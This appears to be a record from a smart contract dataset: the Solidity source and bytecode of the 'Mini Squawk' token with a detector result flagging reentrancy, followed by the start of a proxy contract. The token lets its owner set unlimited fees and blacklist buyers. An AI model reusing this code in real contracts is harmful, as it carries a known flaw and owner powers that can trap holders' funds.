_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract miniSQUAWK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mini Squawk";//
string private constant _symbol = "miniSQUAWK";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xa1AbceA17F9f6a8Ad09AB9B6f6659415A0C55C49);//
address payable private _marketingAddress = payable(0xa1AbceA17F9f6a8Ad09AB9B6f6659415A0C55C49);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610550578063dd62ed3e14610566578063ea1644d5146105ac578063f2fde38b146105cc57600080fd5b8063a9059cbb146104cb578063bfd79284146104eb578063c3c8cd801461051b578063c492f0461461053057600080fd5b80638f9a55c0116100d15780638f9a55c01461044257806395d89b411461045857806398a5c3151461048b578063a2a957bb146104ab57600080fd5b80637d1db4a5146103ee5780638da5cb5b146104045780638f70ccf71461042257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6c565b6105ec565b005b34801561020a57600080fd5b5060408051808201909152600b81526a4d696e692053717561776b60a81b60208201525b60405161023b9190611c9e565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611abc565b61068b565b604051901515815260200161023b565b34801561028057600080fd5b50601554610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50683635c9adc5dea000005b60405190815260200161023b565b3480156102de57600080fd5b506102646102ed366004611a7b565b6106a2565b3480156102fe57600080fd5b506102c460195481565b34801561031457600080fd5b506040516009815260200161023b565b34801561033057600080fd5b50601654610294906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611a08565b61070b565b34801561037057600080fd5b506101fc61037f366004611c38565b610756565b34801561039057600080fd5b506101fc61079e565b3480156103a557600080fd5b506102c46103b4366004611a08565b6107e9565b3480156103c557600080fd5b506101fc61080b565b3480156103da57600080fd5b506101fc6103e9366004611c53565b61087f565b3480156103fa57600080fd5b506102c460175481565b34801561041057600080fd5b506000546001600160a01b0316610294565b34801561042e57600080fd5b506101fc61043d366004611c38565b6108ae565b34801561044e57600080fd5b506102c460185481565b34801561046457600080fd5b5060408051808201909152600a8152696d696e6953515541574b60b01b602082015261022e565b34801561049757600080fd5b506101fc6104a6366004611c53565b6108fa565b3480156104b757600080fd5b506101fc6104c6366004611c6c565b610929565b3480156104d757600080fd5b506102646104e6366004611abc565b610967565b3480156104f757600080fd5b50610264610506366004611a08565b60116020526000908152604090205460ff1681565b34801561052757600080fd5b506101fc610974565b34801561053c57600080fd5b506101fc61054b366004611ae8565b6109c8565b34801561055c57600080fd5b506102c460085481565b34801561057257600080fd5b506102c4610581366004611a42565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b857600080fd5b506101fc6105c7366004611c53565b610a69565b3480156105d857600080fd5b506101fc6105e7366004611a08565b610a98565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161061690611cf3565b60405180910390fd5b60005b81518110156106875760016011600084848151811061064357610643611e3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067f81611e09565b915050610622565b5050565b6000610698338484610b82565b5060015b92915050565b60006106af848484610ca6565b61070184336106fc85604051806060016040528060288152602001611e7c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611264565b610b82565b5060019392505050565b6000546001600160a01b031633146107355760405162461bcd60e51b815260040161061690611cf3565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107805760405162461bcd60e51b815260040161061690611cf3565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d357506014546001600160a01b0316336001600160a01b0316145b6107dc57600080fd5b476107e68161129e565b50565b6001600160a01b03811660009081526002602052604081205461069c90611323565b6000546001600160a01b031633146108355760405162461bcd60e51b815260040161061690611cf3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a95760405162461bcd60e51b815260040161061690611cf3565b601755565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260040161061690611cf3565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161061690611cf3565b601955565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161061690611cf3565b600993909355600b91909155600a55600c55565b6000610698338484610ca6565b6013546001600160a01b0316336001600160a01b031614806109a957506014546001600160a01b0316336001600160a01b0316145b6109b257600080fd5b60006109bd306107e9565b90506107e6816113a7565b6000546001600160a01b031633146109f25760405162461bcd60e51b815260040161061690611cf3565b60005b82811015610a63578160056000868685818110610a1457610a14611e3a565b9050602002016020810190610a299190611a08565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5b81611e09565b9150506109f5565b50505050565b6000546001600160a01b03163314610a935760405162461bcd60e51b815260040161061690611cf3565b601855565b6000546001600160a01b03163314610ac25760405162461bcd60e51b815260040161061690611cf3565b6001600160a01b038116610b275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610616565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610616565b6001600160a01b038216610c455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610616565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610616565b6001600160a01b038216610d6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610616565b60008111610dce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610616565b6000546001600160a01b03848116911614801590610dfa57506000546001600160a01b03838116911614155b1561115d57601654600160a01b900460ff16610e93576000546001600160a01b03848116911614610e935760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610616565b601754811115610ee55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610616565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2757506001600160a01b03821660009081526011602052604090205460ff16155b610f7f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610616565b600854610f8d906002611d99565b4311158015610fa957506016546001600160a01b038481169116145b8015610fc357506015546001600160a01b03838116911614155b8015610fd857506001600160a01b0382163014155b15611001576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110865760185481611023846107e9565b61102d9190611d99565b106110865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610616565b6000611091306107e9565b6019546017549192508210159082106110aa5760175491505b8080156110c15750601654600160a81b900460ff16155b80156110db57506016546001600160a01b03868116911614155b80156110f05750601654600160b01b900460ff165b801561111557506001600160a01b03851660009081526005602052604090205460ff16155b801561113a57506001600160a01b03841660009081526005602052604090205460ff16155b1561115a57611148826113a7565b478015611158576111584761129e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119f57506001600160a01b03831660009081526005602052604090205460ff165b806111d157506016546001600160a01b038581169116148015906111d157506016546001600160a01b03848116911614155b156111de57506000611258565b6016546001600160a01b03858116911614801561120957506015546001600160a01b03848116911614155b1561121b57600954600d55600a54600e555b6016546001600160a01b03848116911614801561124657506015546001600160a01b03858116911614155b1561125857600b54600d55600c54600e555b610a6384848484611530565b600081848411156112885760405162461bcd60e51b81526004016106169190611c9e565b5060006112958486611df2565b95945050505050565b6013546001600160a01b03166108fc6112b883600261155e565b6040518115909202916000818181858888f193505050501580156112e0573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112fb83600261155e565b6040518115909202916000818181858888f19350505050158015610687573d6000803e3d6000fd5b600060065482111561138a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610616565b60006113946115a0565b90506113a0838261155e565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ef576113ef611e3a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144357600080fd5b505afa158015611457573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147b9190611a25565b8160018151811061148e5761148e611e3a565b6001600160a01b0392831660209182029290920101526015546114b49130911684610b82565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ed908590600090869030904290600401611d28565b600060405180830381600087803b15801561150757600080fd5b505af115801561151b573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153d5761153d6115c3565b6115488484846115f1565b80610a6357610a63600f54600d55601054600e55565b60006113a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e8565b60008060006115ad611716565b90925090506115bc828261155e565b9250505090565b600d541580156115d35750600e54155b156115da57565b600d8054600f55600e805460105560009182905555565b60008060008060008061160387611758565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163590876117b5565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166490866117f7565b6001600160a01b03891660009081526002602052604090205561168681611856565b61169084836118a0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d591815260200190565b60405180910390a3505050505050505050565b600081836117095760405162461bcd60e51b81526004016106169190611c9e565b5060006112958486611db1565b6006546000908190683635c9adc5dea00000611732828261155e565b82101561174f57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117758a600d54600e546118c4565b92509250925060006117856115a0565b905060008060006117988e878787611919565b919e509c509a509598509396509194505050505091939550919395565b60006113a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611264565b6000806118048385611d99565b9050838110156113a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610616565b60006118606115a0565b9050600061186e8383611969565b3060009081526002602052604090205490915061188b90826117f7565b30600090815260026020526040902055505050565b6006546118ad90836117b5565b6006556007546118bd90826117f7565b6007555050565b60008080806118de60646118d88989611969565b9061155e565b905060006118f160646118d88a89611969565b90506000611909826119038b866117b5565b906117b5565b9992985090965090945050505050565b60008080806119288886611969565b905060006119368887611969565b905060006119448888611969565b905060006119568261190386866117b5565b939b939a50919850919650505050505050565b6000826119785750600061069c565b60006119848385611dd3565b9050826119918583611db1565b146113a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610616565b80356119f381611e66565b919050565b803580151581146119f357600080fd5b600060208284031215611a1a57600080fd5b81356113a081611e66565b600060208284031215611a3757600080fd5b81516113a081611e66565b60008060408385031215611a5557600080fd5b8235611a6081611e66565b91506020830135611a7081611e66565b809150509250929050565b600080600060608486031215611a9057600080fd5b8335611a9b81611e66565b92506020840135611aab81611e66565b929592945050506040919091013590565b60008060408385031215611acf57600080fd5b8235611ada81611e66565b946020939093013593505050565b600080600060408486031215611afd57600080fd5b833567ffffffffffffffff80821115611b1557600080fd5b818601915086601f830112611b2957600080fd5b813581811115611b3857600080fd5b8760208260051b8501011115611b4d57600080fd5b602092830195509350611b6391860190506119f8565b90509250925092565b60006020808385031215611b7f57600080fd5b823567ffffffffffffffff80821115611b9757600080fd5b818501915085601f830112611bab57600080fd5b813581811115611bbd57611bbd611e50565b8060051b604051601f19603f83011681018181108582111715611be257611be2611e50565b604052828152858101935084860182860187018a1015611c0157600080fd5b600095505b83861015611c2b57611c17816119e8565b855260019590950194938601938601611c06565b5098975050505050505050565b600060208284031215611c4a57600080fd5b6113a0826119f8565b600060208284031215611c6557600080fd5b5035919050565b60008060008060808587031215611c8257600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611ccb57858101830151858201604001528201611caf565b81811115611cdd576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d785784516001600160a01b031683529383019391830191600101611d53565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dac57611dac611e24565b500190565b600082611dce57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ded57611ded611e24565b500290565b600082821015611e0457611e04611e24565b500390565b6000600019821415611e1d57611e1d611e24565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee76063aa9be1e81f98b34fad1a8b61dee5ab280f6a7b7b2a6a968ebfcae4ca064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 323 |
0x826048381d65a65daa51342c51d464428d301896 | /**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
